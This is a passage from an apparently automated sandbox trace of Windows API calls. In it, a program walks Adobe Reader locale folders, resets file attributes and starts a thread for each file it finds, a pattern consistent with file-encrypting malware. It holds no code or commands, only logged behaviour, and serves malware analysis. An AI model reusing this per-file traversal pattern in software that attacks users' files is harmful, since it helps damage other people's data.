10.0\\reader\\locale\\ca_es\\checkers.cat")) returned 0x20 [0244.868] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\Checkers.CAT", dwFileAttributes=0x20) Thread: id = 4001 os_tid = 0x1350 [0244.315] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\DigSig.CAT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ca_es\\digsig.cat")) returned 0x20 [0244.976] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\DigSig.CAT", dwFileAttributes=0x20) Thread: id = 4002 os_tid = 0x1e0c [0244.315] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\DVA.CAT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ca_es\\dva.cat")) returned 0x20 [0244.866] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\DVA.CAT", dwFileAttributes=0x20) Thread: id = 4003 os_tid = 0x11e0 [0244.316] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\eBook.CAT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ca_es\\ebook.cat")) returned 0x20 [0244.968] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\eBook.CAT", dwFileAttributes=0x20) Thread: id = 4004 os_tid = 0x11e4 [0244.318] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\EScript.CAT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ca_es\\escript.cat")) returned 0x20 [0244.861] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\EScript.CAT", dwFileAttributes=0x20) Thread: id = 4005 os_tid = 0x11e8 [0244.318] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\IA32.CAT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ca_es\\ia32.cat")) returned 0x20 [0244.949] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\IA32.CAT", dwFileAttributes=0x20) Thread: id = 4006 os_tid = 0x1e14 [0244.319] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\makeaccessible.CAT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ca_es\\makeaccessible.cat")) returned 0x20 [0244.856] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\makeaccessible.CAT", dwFileAttributes=0x20) Thread: id = 4007 os_tid = 0x11f0 [0244.320] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\Multimedia.CAT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ca_es\\multimedia.cat")) returned 0x20 [0244.935] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\Multimedia.CAT", dwFileAttributes=0x20) Thread: id = 4008 os_tid = 0x1e18 [0244.321] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\pddom.CAT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ca_es\\pddom.cat")) returned 0x20 [0244.938] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\pddom.CAT", dwFileAttributes=0x20) Thread: id = 4009 os_tid = 0xe50 [0244.322] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\PPKLite.CAT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ca_es\\ppklite.cat")) returned 0x20 [0244.933] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\PPKLite.CAT", dwFileAttributes=0x20) Thread: id = 4010 os_tid = 0xec0 [0244.323] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\RdLang32.CAT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ca_es\\rdlang32.cat")) returned 0x20 [0244.858] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\RdLang32.CAT", dwFileAttributes=0x20) Thread: id = 4011 os_tid = 0x13a8 [0244.324] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\ReadOutLoud.CAT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ca_es\\readoutloud.cat")) returned 0x20 [0244.883] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\ReadOutLoud.CAT", dwFileAttributes=0x20) Thread: id = 4012 os_tid = 0x14e8 [0244.324] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\reflow.CAT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ca_es\\reflow.cat")) returned 0x20 [0244.929] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\reflow.CAT", dwFileAttributes=0x20) Thread: id = 4013 os_tid = 0xd78 [0244.325] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\SaveAsRTF.CAT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ca_es\\saveasrtf.cat")) returned 0x20 [0244.878] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\SaveAsRTF.CAT", dwFileAttributes=0x20) Thread: id = 4014 os_tid = 0xc04 [0244.326] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\Search.CAT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ca_es\\search.cat")) returned 0x20 [0244.881] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\Search.CAT", dwFileAttributes=0x20) Thread: id = 4015 os_tid = 0xa08 [0244.327] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\SendMail.CAT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ca_es\\sendmail.cat")) returned 0x20 [0244.876] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\SendMail.CAT", dwFileAttributes=0x20) Thread: id = 4016 os_tid = 0xc48 [0244.328] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x90) returned 0x20508770 [0244.329] wcscpy (in: _Dest=0x20508770, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\Services" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\Services") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\Services" [0244.329] wcscat (in: _Dest=0x20508770, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\Services\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\Services\\" [0244.329] wcscat (in: _Dest=0x20508770, _Source="*" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\Services\\*") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\Services\\*" [0244.329] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1ce21a10 [0244.329] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\Services\\*", lpFindFileData=0x1ce21a10 | out: lpFindFileData=0x1ce21a10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f24da0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81f971c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81f971c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1cd9d250 [0244.982] wcscmp (_String1=".", _String2=".") returned 0 [0244.982] FindNextFileW (in: hFindFile=0x1cd9d250, lpFindFileData=0x1ce21a10 | out: lpFindFileData=0x1ce21a10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f24da0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81f971c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81f971c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0244.982] wcscmp (_String1="..", _String2=".") returned 1 [0244.982] wcscmp (_String1="..", _String2="..") returned 0 [0244.982] FindNextFileW (in: hFindFile=0x1cd9d250, lpFindFileData=0x1ce21a10 | out: lpFindFileData=0x1ce21a10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81f24da0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x9586, dwReserved0=0x0, dwReserved1=0x0, cFileName="DEXShare.asfx", cAlternateFileName="DEXSHA~1.ASF")) returned 1 [0244.982] wcscmp (_String1="DEXShare.asfx", _String2=".") returned 1 [0244.982] wcscmp (_String1="DEXShare.asfx", _String2="..") returned 1 [0244.982] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa8) returned 0x1cec1100 [0244.982] wcscpy (in: _Dest=0x1cec1100, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\Services" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\Services") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\Services" [0244.982] wcscat (in: _Dest=0x1cec1100, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\Services\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\Services\\" [0244.982] wcscat (in: _Dest=0x1cec1100, _Source="DEXShare.asfx" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\Services\\DEXShare.asfx") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\Services\\DEXShare.asfx" Thread: id = 4017 os_tid = 0x1830 [0244.330] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\Spelling.CAT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ca_es\\spelling.cat")) returned 0x20 [0244.854] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\Spelling.CAT", dwFileAttributes=0x20) Thread: id = 4018 os_tid = 0x1834 [0244.331] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\updater.CAT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ca_es\\updater.cat")) returned 0x20 [0244.873] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\updater.CAT", dwFileAttributes=0x20) Thread: id = 4019 os_tid = 0x1838 [0244.332] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\WebLink.CAT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ca_es\\weblink.cat")) returned 0x20 [0244.870] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\WebLink.CAT", dwFileAttributes=0x20) Thread: id = 4020 os_tid = 0x169c [0244.333] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7e) returned 0x1ceb7ae0 [0244.333] wcscpy (in: _Dest=0x1ceb7ae0, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ" [0244.333] wcscat (in: _Dest=0x1ceb7ae0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\" [0244.333] wcscat (in: _Dest=0x1ceb7ae0, _Source="*" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\*") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\*" [0244.333] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1ce1e200 [0244.334] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\*", lpFindFileData=0x1ce1e200 | out: lpFindFileData=0x1ce1e200*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d7bb9a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x832ee480, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x832ee480, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1cd9dd30 [0244.773] wcscmp (_String1=".", _String2=".") returned 0 [0244.773] FindNextFileW (in: hFindFile=0x1cd9dd30, lpFindFileData=0x1ce1e200 | out: lpFindFileData=0x1ce1e200*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d7bb9a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x832ee480, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x832ee480, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0244.773] wcscmp (_String1="..", _String2=".") returned 1 [0244.773] wcscmp (_String1="..", _String2="..") returned 0 [0244.773] FindNextFileW (in: hFindFile=0x1cd9dd30, lpFindFileData=0x1ce1e200 | out: lpFindFileData=0x1ce1e200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7db73c00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa800, dwReserved0=0x0, dwReserved1=0x0, cFileName="accessibility.CZE", cAlternateFileName="ACCESS~1.CZE")) returned 1 [0244.773] wcscmp (_String1="accessibility.CZE", _String2=".") returned 1 [0244.773] wcscmp (_String1="accessibility.CZE", _String2="..") returned 1 [0244.773] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9e) returned 0x43130880 [0244.774] wcscpy (in: _Dest=0x43130880, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ" [0244.774] wcscat (in: _Dest=0x43130880, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\" [0244.774] wcscat (in: _Dest=0x43130880, _Source="accessibility.CZE" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\accessibility.CZE") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\accessibility.CZE" [0244.954] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x43130880, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x550 [0244.968] FindNextFileW (in: hFindFile=0x1cd9dd30, lpFindFileData=0x1ce1e200 | out: lpFindFileData=0x1ce1e200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x83209c40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x63e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Acroform.CZE", cAlternateFileName="")) returned 1 [0244.968] wcscmp (_String1="Acroform.CZE", _String2=".") returned 1 [0244.968] wcscmp (_String1="Acroform.CZE", _String2="..") returned 1 [0244.968] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x94) returned 0x43182a40 [0244.969] wcscpy (in: _Dest=0x43182a40, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ" [0244.969] wcscat (in: _Dest=0x43182a40, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\" [0244.969] wcscat (in: _Dest=0x43182a40, _Source="Acroform.CZE" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\Acroform.CZE") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\Acroform.CZE" [0244.969] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x43182a40, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x11d8 [0244.973] FindNextFileW (in: hFindFile=0x1cd9dd30, lpFindFileData=0x1ce1e200 | out: lpFindFileData=0x1ce1e200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81d35bc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdobeCollabSync.CZE", cAlternateFileName="ADOBEC~1.CZE")) returned 1 [0244.973] wcscmp (_String1="AdobeCollabSync.CZE", _String2=".") returned 1 [0244.973] wcscmp (_String1="AdobeCollabSync.CZE", _String2="..") returned 1 [0244.973] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa2) returned 0x1cec1050 [0244.973] wcscpy (in: _Dest=0x1cec1050, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ" [0244.973] wcscat (in: _Dest=0x1cec1050, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\" [0244.973] wcscat (in: _Dest=0x1cec1050, _Source="AdobeCollabSync.CZE" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\AdobeCollabSync.CZE") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\AdobeCollabSync.CZE" [0244.974] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1cec1050, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x11e0 [0244.974] FindNextFileW (in: hFindFile=0x1cd9dd30, lpFindFileData=0x1ce1e200 | out: lpFindFileData=0x1ce1e200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x832ee480, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x76c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Annots.CZE", cAlternateFileName="")) returned 1 [0244.974] wcscmp (_String1="Annots.CZE", _String2=".") returned 1 [0244.974] wcscmp (_String1="Annots.CZE", _String2="..") returned 1 [0244.974] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x90) returned 0x43182fe0 [0244.975] wcscpy (in: _Dest=0x43182fe0, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ" [0244.975] wcscat (in: _Dest=0x43182fe0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\" [0244.975] wcscat (in: _Dest=0x43182fe0, _Source="Annots.CZE" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\Annots.CZE") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\Annots.CZE" [0244.975] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x43182fe0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x11e8 [0244.975] FindNextFileW (in: hFindFile=0x1cd9dd30, lpFindFileData=0x1ce1e200 | out: lpFindFileData=0x1ce1e200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x820558a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x3200, dwReserved0=0x0, dwReserved1=0x0, cFileName="BRdlang32.CZE", cAlternateFileName="BRDLAN~1.CZE")) returned 1 [0244.975] wcscmp (_String1="BRdlang32.CZE", _String2=".") returned 1 [0244.975] wcscmp (_String1="BRdlang32.CZE", _String2="..") returned 1 [0244.975] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x96) returned 0x431834e0 [0244.976] wcscpy (in: _Dest=0x431834e0, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ" [0244.976] wcscat (in: _Dest=0x431834e0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\" [0244.976] wcscat (in: _Dest=0x431834e0, _Source="BRdlang32.CZE" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\BRdlang32.CZE") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\BRdlang32.CZE" [0244.976] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x431834e0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1cb8 [0244.977] FindNextFileW (in: hFindFile=0x1cd9dd30, lpFindFileData=0x1ce1e200 | out: lpFindFileData=0x1ce1e200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x83209c40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1da00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Checkers.CZE", cAlternateFileName="")) returned 1 [0244.977] wcscmp (_String1="Checkers.CZE", _String2=".") returned 1 [0244.977] wcscmp (_String1="Checkers.CZE", _String2="..") returned 1 [0244.977] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x94) returned 0x43183440 [0244.977] wcscpy (in: _Dest=0x43183440, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ" [0244.977] wcscat (in: _Dest=0x43183440, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\" [0244.977] wcscat (in: _Dest=0x43183440, _Source="Checkers.CZE" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\Checkers.CZE") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\Checkers.CZE" [0244.977] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x43183440, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1be8 [0244.978] FindNextFileW (in: hFindFile=0x1cd9dd30, lpFindFileData=0x1ce1e200 | out: lpFindFileData=0x1ce1e200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x83209c40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1e000, dwReserved0=0x0, dwReserved1=0x0, cFileName="DigSig.CZE", cAlternateFileName="")) 